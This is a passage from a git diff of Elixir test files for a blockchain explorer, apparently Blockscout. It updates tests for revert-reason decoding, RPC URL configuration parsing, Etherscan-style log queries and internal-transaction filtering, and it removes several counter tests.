implementation_contract_address_hash_string} + code: 3, + data: hex_reason, + message: "execution reverted" + }} end ) - implementation_abi = Chain.get_implementation_abi_from_proxy(proxy_contract_address.hash, []) + init_config = Application.get_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth) + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, tracer: "call_tracer", debug_trace_timeout: "5s") - assert implementation_abi == @implementation_abi - end - - test "get_implementation_abi/1 returns empty [] abi if implmentation address is null" do - assert Chain.get_implementation_abi(nil) == [] - end - - test "get_implementation_abi/1 returns [] if implementation is not verified" do - implementation_contract_address = insert(:contract_address) - - implementation_contract_address_hash_string = - Base.encode16(implementation_contract_address.hash.bytes, case: :lower) - - assert Chain.get_implementation_abi("0x" <> implementation_contract_address_hash_string) == [] - end - - test "get_implementation_abi/1 returns implementation abi if implementation is verified" do - proxy_contract_address = insert(:contract_address) - insert(:smart_contract, address_hash: proxy_contract_address.hash, abi: @proxy_abi, contract_code_md5: "123") + assert Chain.transaction_to_revert_reason(transaction) == hex_reason - implementation_contract_address = insert(:contract_address) - - insert(:smart_contract, - address_hash: implementation_contract_address.hash, - abi: @implementation_abi, - contract_code_md5: "123" - ) - - implementation_contract_address_hash_string = - Base.encode16(implementation_contract_address.hash.bytes, case: :lower) - - implementation_abi = Chain.get_implementation_abi("0x" <> implementation_contract_address_hash_string) + assert Transaction.decoded_revert_reason(transaction, hex_reason) == { + :ok, + "08c379a0", + "Error(string reason)", + [{"reason", "string", "No credit of that type"}] + } - assert implementation_abi == @implementation_abi + Application.put_env(:ethereum_jsonrpc, EthereumJSONRPC.Geth, init_config) end end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/explorer/test/explorer/config_helper_test.exs b/apps/explorer/test/explorer/config_helper_test.exs new file mode 100644 index 000000000000..08fe9728ca8e --- /dev/null +++ b/apps/explorer/test/explorer/config_helper_test.exs @@ -0,0 +1,57 @@ +defmodule ConfigHelperTest do + use ExUnit.Case + + setup do + current_env_vars = System.get_env() + clear_env_variables() + + on_exit(fn -> + System.put_env(current_env_vars) + end) + end + + describe "parse_urls_list/3" do + test "common case" do + System.put_env("ETHEREUM_JSONRPC_HTTP_URLS", "test") + assert ConfigHelper.parse_urls_list(:http) == ["test"] + end + + test "using defined default" do + System.put_env("ETHEREUM_JSONRPC_HTTP_URL", "test") + refute System.get_env("ETHEREUM_JSONRPC_ETH_CALL_URLS") + refute System.get_env("ETHEREUM_JSONRPC_ETH_CALL_URL") + assert ConfigHelper.parse_urls_list(:eth_call) == ["test"] + end + + test "using defined fallback default" do + System.put_env("ETHEREUM_JSONRPC_FALLBACK_HTTP_URL", "test") + refute System.get_env("ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URLS") + refute System.get_env("ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URL") + + assert ConfigHelper.parse_urls_list(:fallback_eth_call) == ["test"] + end + + test "base http urls are used if fallback is not provided" do + System.put_env("ETHEREUM_JSONRPC_HTTP_URL", "test") + refute System.get_env("ETHEREUM_JSONRPC_FALLBACK_TRACE_URLS") + refute System.get_env("ETHEREUM_JSONRPC_FALLBACK_TRACE_URL") + + assert ConfigHelper.parse_urls_list(:fallback_trace) == ["test"] + end + end + + defp clear_env_variables do + System.delete_env("ETHEREUM_JSONRPC_HTTP_URLS") + System.delete_env("ETHEREUM_JSONRPC_HTTP_URL") + System.delete_env("ETHEREUM_JSONRPC_TRACE_URLS") + System.delete_env("ETHEREUM_JSONRPC_TRACE_URL") + System.delete_env("ETHEREUM_JSONRPC_ETH_CALL_URLS") + System.delete_env("ETHEREUM_JSONRPC_ETH_CALL_URL") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_HTTP_URLS") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_HTTP_URL") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_TRACE_URLS") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_TRACE_URL") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URLS") + System.delete_env("ETHEREUM_JSONRPC_FALLBACK_ETH_CALL_URL") + end +end diff --git a/apps/explorer/test/explorer/counters/addresses_counter_test.exs b/apps/explorer/test/explorer/counters/addresses_counter_test.exs deleted file mode 100644 index b187fd8c0e84..000000000000 --- a/apps/explorer/test/explorer/counters/addresses_counter_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -defmodule Explorer.Counters.AddressesCounterTest do - use Explorer.DataCase - - alias Explorer.Counters.AddressesCounter - - test "populates the cache with the number of all addresses" do - insert(:address, fetched_coin_balance: 0) - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - - start_supervised!(AddressesCounter) - AddressesCounter.consolidate() - - assert AddressesCounter.fetch() == 3 - end -end diff --git a/apps/explorer/test/explorer/counters/addresses_tokens_usd_sum_counter_test.exs b/apps/explorer/test/explorer/counters/addresses_tokens_usd_sum_counter_test.exs deleted file mode 100644 index 909757efb5ca..000000000000 --- a/apps/explorer/test/explorer/counters/addresses_tokens_usd_sum_counter_test.exs +++ /dev/null @@ -1,34 +0,0 @@ -defmodule Explorer.Counters.AddressTokenUsdSumTest do - use Explorer.DataCase - - alias Explorer.Counters.AddressTokenUsdSum - - test "populates the cache with the sum of address tokens" do - address = insert(:address) - - address_current_token_balance = - build(:token_balance, - token: build(:token, name: "token name", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(10)), - value: Decimal.mult(Decimal.new(100_500), Decimal.from_float(:math.pow(10, 18))) - ) - - address_current_token_balance_2 = - build(:token_balance, - token: build(:token, name: "token name", decimals: Decimal.new(18)) |> Map.put(:usd_value, Decimal.new(10)), - value: Decimal.mult(Decimal.new(100_500), Decimal.from_float(:math.pow(10, 18))) - ) - - AddressTokenUsdSum.fetch(address.hash, [ - {address_current_token_balance, address_current_token_balance.token}, - {address_current_token_balance_2, address_current_token_balance_2.token} - ]) - - Process.sleep(200) - - assert AddressTokenUsdSum.fetch(address.hash, [ - {address_current_token_balance, address_current_token_balance.token}, - {address_current_token_balance_2, address_current_token_balance_2.token} - ]) == - Decimal.new(2_010_000) - end -end diff --git a/apps/explorer/test/explorer/counters/addresses_with_balance_counter_test.exs b/apps/explorer/test/explorer/counters/addresses_with_balance_counter_test.exs deleted file mode 100644 index 127c4479695b..000000000000 --- a/apps/explorer/test/explorer/counters/addresses_with_balance_counter_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -defmodule Explorer.Counters.AddressesWithBalanceCounterTest do - use Explorer.DataCase - - alias Explorer.Counters.AddressesWithBalanceCounter - - test "populates the cache with the number of addresses with fetched coin balance greater than 0" do - insert(:address, fetched_coin_balance: 0) - insert(:address, fetched_coin_balance: 1) - insert(:address, fetched_coin_balance: 2) - - start_supervised!(AddressesWithBalanceCounter) - AddressesWithBalanceCounter.consolidate() - - assert AddressesWithBalanceCounter.fetch() == 2 - end -end diff --git a/apps/explorer/test/explorer/counters/average_block_time_test.exs b/apps/explorer/test/explorer/counters/average_block_time_test.exs deleted file mode 100644 index 9d55664dcfde..000000000000 --- a/apps/explorer/test/explorer/counters/average_block_time_test.exs +++ /dev/null @@ -1,133 +0,0 @@ -defmodule Explorer.Counters.AverageBlockTimeTest do - use Explorer.DataCase - - doctest Explorer.Counters.AverageBlockTimeDurationFormat - - alias Explorer.Chain.Block - alias Explorer.Counters.AverageBlockTime - alias Explorer.Repo - - setup do - start_supervised!(AverageBlockTime) - Application.put_env(:explorer, AverageBlockTime, enabled: true) - - Application.put_env(:explorer, :include_uncles_in_average_block_time, true) - - on_exit(fn -> - Application.put_env(:explorer, AverageBlockTime, enabled: false) - end) - end - - describe "average_block_time/1" do - test "when disabled, it returns an error" do - Application.put_env(:explorer, AverageBlockTime, enabled: false) - - assert AverageBlockTime.average_block_time() == {:error, :disabled} - end - - test "without blocks duration is 0" do - assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT0S") - end - - test "considers both uncles and consensus blocks" do - block_number = 99_999_999 - - first_timestamp = Timex.now() - - insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: -100 - 6)) - - insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: -100 - 12)) - - insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: -100 - 9)) - - insert(:block, - number: block_number + 1, - consensus: true, - timestamp: Timex.shift(first_timestamp, seconds: -100 - 3) - ) - - Enum.each(1..100, fn i -> - insert(:block, - number: block_number + 1 + i, - consensus: true, - timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 12) - ) - end) - - assert Repo.aggregate(Block, :count, :hash) == 104 - - AverageBlockTime.refresh() - - assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT3S") - end - - test "excludes uncles if include_uncles_in_average_block_time is set to false" do - block_number = 99_999_999 - Application.put_env(:explorer, :include_uncles_in_average_block_time, false) - - first_timestamp = Timex.now() - - insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) - insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: 4)) - insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 5)) - - Enum.each(1..100, fn i -> - insert(:block, - number: block_number + i + 1, - consensus: true, - timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 5) - ) - end) - - AverageBlockTime.refresh() - - assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT2S") - end - - test "excludes uncles if include_uncles_in_average_block_time is set to true" do - block_number = 99_999_999 - - first_timestamp = Timex.now() - - insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) - insert(:block, number: block_number, consensus: false, timestamp: Timex.shift(first_timestamp, seconds: 4)) - insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 5)) - - Enum.each(1..100, fn i -> - insert(:block, - number: block_number + i + 1, - consensus: true, - timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 5) - ) - end) - - AverageBlockTime.refresh() - - assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT1S") - end - - test "when there are no uncles sorts by block number" do - block_number = 99_999_999 - - first_timestamp = Timex.now() - - insert(:block, number: block_number, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 3)) - insert(:block, number: block_number + 2, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 9)) - insert(:block, number: block_number + 1, consensus: true, timestamp: Timex.shift(first_timestamp, seconds: 6)) - - Enum.each(1..100, fn i -> - insert(:block, - number: block_number + i + 2, - consensus: true, - timestamp: Timex.shift(first_timestamp, seconds: -(101 - i) - 9) - ) - end) - - assert Repo.aggregate(Block, :count, :hash) == 103 - - AverageBlockTime.refresh() - - assert AverageBlockTime.average_block_time() == Timex.Duration.parse!("PT3S") - end - end -end diff --git a/apps/explorer/test/explorer/etherscan/logs_test.exs b/apps/explorer/test/explorer/etherscan/logs_test.exs index 490dce199dc6..2df2a32b15c1 100644 --- a/apps/explorer/test/explorer/etherscan/logs_test.exs +++ b/apps/explorer/test/explorer/etherscan/logs_test.exs @@ -6,6 +6,25 @@ defmodule Explorer.Etherscan.LogsTest do alias Explorer.Etherscan.Logs alias Explorer.Chain.Transaction + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + @first_topic_hex_string_2 "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef" + @first_topic_hex_string_3 "0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c" + + @second_topic_hex_string_1 "0x00000000000000000000000098a9dc37d3650b5b30d6c12789b3881ee0b70c16" + @second_topic_hex_string_2 "0x000000000000000000000000e2680fd7cdbb04e9087a647ad4d023ef6c8fb4e2" + @second_topic_hex_string_3 "0x0000000000000000000000005777d92f208679db4b9778590fa3cab3ac9e2168" + + @third_topic_hex_string_1 "0x0000000000000000000000005079fc00f00f30000e0c8c083801cfde000008b6" + @third_topic_hex_string_2 "0x000000000000000000000000e2680fd7cdbb04e9087a647ad4d023ef6c8fb4e2" + @third_topic_hex_string_3 "0x0000000000000000000000000f6d9bd6fc315bbf95b5c44f4eba2b2762f8c372" + + @fourth_topic_hex_string_1 "0x8c9b7729443a4444242342b2ca385a239a5c1d76a88473e1cd2ab0c70dd1b9c7" + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + describe "list_logs/1" do test "with empty db" do contract_address = build(:contract_address) @@ -38,14 +57,15 @@ defmodule Explorer.Etherscan.LogsTest do test "with address with one log response includes all required information" do contract_address = insert(:contract_address) + block = insert(:block) transaction = - %Transaction{block: block} = + %Transaction{} = :transaction - |> insert(to_address: contract_address) - |> with_block() + |> insert(to_address: contract_address, block_timestamp: block.timestamp) + |> with_block(block) - log = insert(:log, address: contract_address, transaction: transaction) + log = insert(:log, address: contract_address, block: block, block_number: block.number, transaction: transaction) filter = %{ from_block: block.number, @@ -79,7 +99,12 @@ defmodule Explorer.Etherscan.LogsTest do |> insert(to_address: contract_address) |> with_block() - insert_list(2, :log, address: contract_address, transaction: transaction) + insert_list(2, :log, + address: contract_address, + transaction: transaction, + block_number: block.number, + block: block + ) filter = %{ from_block: block.number, @@ -110,8 +135,19 @@ defmodule Explorer.Etherscan.LogsTest do |> insert(to_address: contract_address) |> with_block(second_block) - insert(:log, address: contract_address, transaction: transaction_block1) - insert(:log, address: contract_address, transaction: transaction_block2) + insert(:log, + address: contract_address, + transaction: transaction_block1, + block: first_block, + block_number: first_block.number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block2, + block: second_block, + block_number: second_block.number + ) filter = %{ from_block: second_block.number, @@ -143,8 +179,19 @@ defmodule Explorer.Etherscan.LogsTest do |> insert(to_address: contract_address) |> with_block(second_block) - insert(:log, address: contract_address, transaction: transaction_block1) - insert(:log, address: contract_address, transaction: transaction_block2) + insert(:log, + address: contract_address, + transaction: transaction_block1, + block: first_block, + block_number: first_block.number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block2, + block: second_block, + block_number: second_block.number + ) filter = %{ from_block: first_block.number, @@ -161,17 +208,53 @@ defmodule Explorer.Etherscan.LogsTest do test "paginates logs" do contract_address = insert(:contract_address) - transaction = - %Transaction{block: block} = + transaction_a = :transaction |> insert(to_address: contract_address) |> with_block() - inserted_records = insert_list(2000, :log, address: contract_address, transaction: transaction) + transaction_b = + :transaction + |> insert(to_address: contract_address) + |> with_block() + + transaction_c = + :transaction + |> insert(to_address: contract_address) + |> with_block() + + inserted_records = + for i <- 1..700 do + insert(:log, + address: contract_address, + transaction: transaction_a, + block_number: transaction_a.block.number, + block: transaction_a.block, + index: i + ) + end ++ + for i <- 1..700 do + insert(:log, + address: contract_address, + transaction: transaction_b, + block_number: transaction_b.block.number, + block: transaction_b.block, + index: i + ) + end ++ + for i <- 1..600 do + insert(:log, + address: contract_address, + transaction: transaction_c, + block_number: transaction_c.block.number, + block: transaction_c.block, + index: i + ) + end filter = %{ - from_block: block.number, - to_block: block.number, + from_block: transaction_a.block.number, + to_block: transaction_c.block.number, address_hash: contract_address.hash } @@ -183,8 +266,7 @@ defmodule Explorer.Etherscan.LogsTest do next_page_params = %{ log_index: last_record.index, - transaction_index: last_record.transaction_index, - block_number: transaction.block_number + block_number: last_record.block_number } second_found_logs = Logs.list_logs(filter, next_page_params) @@ -210,13 +292,17 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some other topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -246,15 +332,19 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some OTHER second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_2) ] _log1 = insert(:log, log1_details) @@ -287,15 +377,19 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1) ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER first topic", - second_topic: "some OTHER second topic" + block: block, + block_number: block.number, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2) ] log1 = insert(:log, log1_details) @@ -326,13 +420,17 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER first topic" + block: block, + first_topic: topic(@first_topic_hex_string_2), + block_number: block.number ] _log1 = insert(:log, log1_details) @@ -363,15 +461,19 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some second topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER first topic", - second_topic: "some OTHER second topic" + block: block, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2), + block_number: block.number ] _log1 = insert(:log, log1_details) @@ -404,25 +506,31 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some second topic", - third_topic: "some third topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER first topic", - second_topic: "some OTHER second topic", - third_topic: "some OTHER third topic" + block: block, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2), + third_topic: topic(@third_topic_hex_string_2), + block_number: block.number ] log3_details = [ address: contract_address, transaction: transaction, - first_topic: "some ALT first topic", - second_topic: "some ALT second topic", - third_topic: "some ALT third topic" + block: block, + first_topic: topic(@first_topic_hex_string_3), + second_topic: topic(@second_topic_hex_string_3), + third_topic: topic(@third_topic_hex_string_3), + block_number: block.number ] _log1 = insert(:log, log1_details) @@ -461,25 +569,31 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some first topic", - second_topic: "some second topic", - third_topic: "some third topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER first topic", - second_topic: "some OTHER second topic", - third_topic: "some OTHER third topic" + block: block, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2), + third_topic: topic(@third_topic_hex_string_2), + block_number: block.number ] log3_details = [ address: contract_address, transaction: transaction, - first_topic: "some ALT first topic", - second_topic: "some ALT second topic", - third_topic: "some ALT third topic" + block: block, + first_topic: topic(@first_topic_hex_string_3), + second_topic: topic(@second_topic_hex_string_3), + third_topic: topic(@third_topic_hex_string_3), + block_number: block.number ] log1 = insert(:log, log1_details) @@ -518,25 +632,31 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic", - third_topic: "some third topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some OTHER second topic", - third_topic: "some third topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_2), + third_topic: topic(@third_topic_hex_string_1), + block_number: block.number ] log3_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic", - third_topic: "some third topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + block_number: block.number ] log1 = insert(:log, log1_details) @@ -575,26 +695,32 @@ defmodule Explorer.Etherscan.LogsTest do log1_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + block_number: block.number ] log2_details = [ address: contract_address, transaction: transaction, - first_topic: "some OTHER topic", - second_topic: "some OTHER second topic", - third_topic: "some OTHER third topic", - fourth_topic: "some fourth topic" + block: block, + first_topic: topic(@first_topic_hex_string_2), + second_topic: topic(@second_topic_hex_string_2), + third_topic: topic(@third_topic_hex_string_2), + fourth_topic: topic(@fourth_topic_hex_string_1), + block_number: block.number ] log3_details = [ address: contract_address, transaction: transaction, - first_topic: "some topic", - second_topic: "some second topic", - third_topic: "some third topic", - fourth_topic: "some fourth topic" + block: block, + first_topic: topic(@first_topic_hex_string_1), + second_topic: topic(@second_topic_hex_string_1), + third_topic: topic(@third_topic_hex_string_1), + fourth_topic: topic(@fourth_topic_hex_string_1), + block_number: block.number ] log1 = insert(:log, log1_details) @@ -650,9 +776,26 @@ defmodule Explorer.Etherscan.LogsTest do |> insert(to_address: contract_address) |> with_block(third_block) - insert(:log, address: contract_address, transaction: transaction_block3) - insert(:log, address: contract_address, transaction: transaction_block1) - insert(:log, address: contract_address, transaction: transaction_block2) + insert(:log, + address: contract_address, + transaction: transaction_block3, + block: third_block, + block_number: third_block.number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block1, + block: first_block, + block_number: first_block.number + ) + + insert(:log, + address: contract_address, + transaction: transaction_block2, + block: second_block, + block_number: second_block.number + ) filter = %{ from_block: first_block.number, diff --git a/apps/explorer/test/explorer/etherscan_test.exs b/apps/explorer/test/explorer/etherscan_test.exs index 02cc0ced53cb..a6c83f33508b 100644 --- a/apps/explorer/test/explorer/etherscan_test.exs +++ b/apps/explorer/test/explorer/etherscan_test.exs @@ -159,11 +159,12 @@ defmodule Explorer.EtherscanTest do test "loads block_timestamp" do address = insert(:address) + block = insert(:block) - %Transaction{block: block} = + %Transaction{} = :transaction - |> insert(from_address: address) - |> with_block() + |> insert(from_address: address, block_timestamp: block.timestamp) + |> with_block(block) [found_transaction] = Etherscan.list_transactions(address.hash) @@ -293,8 +294,8 @@ defmodule Explorer.EtherscanTest do end options = %{ - start_block: second_block.number, - end_block: third_block.number + startblock: second_block.number, + endblock: third_block.number } found_transactions = Etherscan.list_transactions(address.hash, options) @@ -308,7 +309,7 @@ defmodule Explorer.EtherscanTest do end end - test "with start_block but no end_block option" do + test "with startblock but no endblock option" do blocks = [_, _, third_block, fourth_block] = insert_list(4, :block) address = insert(:address) @@ -319,7 +320,7 @@ defmodule Explorer.EtherscanTest do end options = %{ - start_block: third_block.number + startblock: third_block.number } found_transactions = Etherscan.list_transactions(address.hash, options) @@ -333,7 +334,7 @@ defmodule Explorer.EtherscanTest do end end - test "with end_block but no start_block option" do + test "with endblock but no startblock option" do blocks = [first_block, second_block, _, _] = insert_list(4, :block) address = insert(:address) @@ -344,7 +345,7 @@ defmodule Explorer.EtherscanTest do end options = %{ - end_block: second_block.number + endblock: second_block.number } found_transactions = Etherscan.list_transactions(address.hash, options) @@ -370,7 +371,7 @@ defmodule Explorer.EtherscanTest do for block <- Enum.concat([blocks1, blocks2, blocks3]) do 2 - |> insert_list(:transaction, from_address: address) + |> insert_list(:transaction, from_address: address, block_timestamp: block.timestamp) |> with_block(block) end @@ -614,7 +615,7 @@ defmodule Explorer.EtherscanTest do end end - describe "list_internal_transactions/1 with transaction hash" do + describe "list_internal_transactions/2 with transaction hash" do test "with empty db" do transaction = build(:transaction) @@ -629,7 +630,7 @@ defmodule Explorer.EtherscanTest do transaction = :transaction - |> insert(from_address: address, to_address: nil) + |> insert(from_address: address, to_address: nil, block_timestamp: block.timestamp) |> with_contract_creation(contract_address) |> with_block(block) @@ -638,6 +639,7 @@ defmodule Explorer.EtherscanTest do |> insert( transaction: transaction, index: 0, + value: 1, from_address: address, block_number: transaction.block_number, block_hash: transaction.block_hash, @@ -683,6 +685,7 @@ defmodule Explorer.EtherscanTest do insert(:internal_transaction, transaction: transaction, index: index, + value: index + 1, block_number: transaction.block_number, block_hash: transaction.block_hash, block_index: index, @@ -710,6 +713,7 @@ defmodule Explorer.EtherscanTest do insert(:internal_transaction, transaction: transaction1, index: 0, + value: 1, block_number: transaction1.block_number, block_hash: transaction1.block_hash, block_index: 0, @@ -719,6 +723,7 @@ defmodule Explorer.EtherscanTest do insert(:internal_transaction, transaction: transaction1, index: 1, + value: 2, block_number: transaction1.block_number, block_hash: transaction1.block_hash, block_index: 1, @@ -728,6 +733,7 @@ defmodule Explorer.EtherscanTest do insert(:internal_transaction, transaction: transaction2, index: 0, + value: 3, type: :reward, block_number: transaction2.block_number, block_hash: transaction2.block_hash, @@ -745,6 +751,78 @@ defmodule Explorer.EtherscanTest do assert length(internal_transactions2) == 1 end + test "only non zero value internal transactions by default" do + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..2 do + insert(:internal_transaction, + transaction: transaction, + index: index, + value: index + 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end + + for index <- 3..5 do + insert(:internal_transaction, + transaction: transaction, + index: index, + value: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end + + found_internal_transactions = Etherscan.list_internal_transactions(transaction.hash) + + assert length(found_internal_transactions) == 2 + end + + test "with zero value internal transactions when `include_zero_value: true` option is set" do + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..2 do + insert(:internal_transaction, + transaction: transaction, + index: index, + value: index + 1, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end + + for index <- 3..5 do + insert(:internal_transaction, + transaction: transaction, + index: index, + value: 0, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + ) + end + + options = %{include_zero_value: true} + + found_internal_transactions = Etherscan.list_internal_transactions(transaction.hash, options) + + assert length(found_internal_transactions) == 5 + end + # Note that `list_internal_transactions/1` relies on # `Chain.where_transaction_has_multiple_transactions/1` to ensure the # following behavior: @@ -802,6 +880,7 @@ defmodule Explorer.EtherscanTest do input: internal_transaction.input, index: internal_transaction.index, transaction_hash: internal_transaction.transaction_hash, + transaction_index: internal_transaction.transaction_index, type: internal_transaction.type, call_type: internal_transaction.call_type, gas: internal_transaction.gas, @@ -952,15 +1031,58 @@ defmodule Explorer.EtherscanTest do blocks = [_, second_block, third_block, _] = insert_list(4, :block) address = insert(:address) - for block <- blocks, index <- 0..1 do + for block <- blocks do transaction = :transaction |> insert() |> with_block(block) + for index <- 0..1 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + from_address: address, + block_number: block.number, + block_hash: block.hash, + block_index: index, + transaction_index: transaction.index, + value: 1 + } + + insert(:internal_transaction, internal_transaction_details) + end + end + + options = %{ + startblock: second_block.number, + endblock: third_block.number + } + + found_internal_transactions = Etherscan.list_internal_transactions(address.hash, options) + + expected_block_numbers = [second_block.number, third_block.number] + + # excluding of internal transactions with type=call and index=0 + assert length(found_internal_transactions) == 2 + + for internal_transaction <- found_internal_transactions do + assert internal_transaction.block_number in expected_block_numbers + end + end + + test "only non zero value internal transactions by default" do + address = insert(:address) + + transaction = + :transaction + |> insert() + |> with_block() + + for index <- 0..3 do internal_transaction_details = %{ transaction: transaction, index: index, + value: 0, from_address: address, block_number: transaction.block_number, block_hash: transaction.block_hash, @@ -971,21 +1093,69 @@ defmodule Explorer.EtherscanTest do insert(:internal_transaction, internal_transaction_details) end - options = %{ - start_block: second_block.number, - end_block: third_block.number - } + for index <- 4..5 do + internal_transaction_details = %{ + transaction: transaction, + index: index, + value: index, + from_address: address, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: index, + transaction_index: transaction.index + } - found_internal_transactions = Etherscan.list_internal_transactions(address.hash, options) + insert(:internal_transaction, internal_transaction_details) + end - expected_block_numbers = [second_block.number, third_block.number] 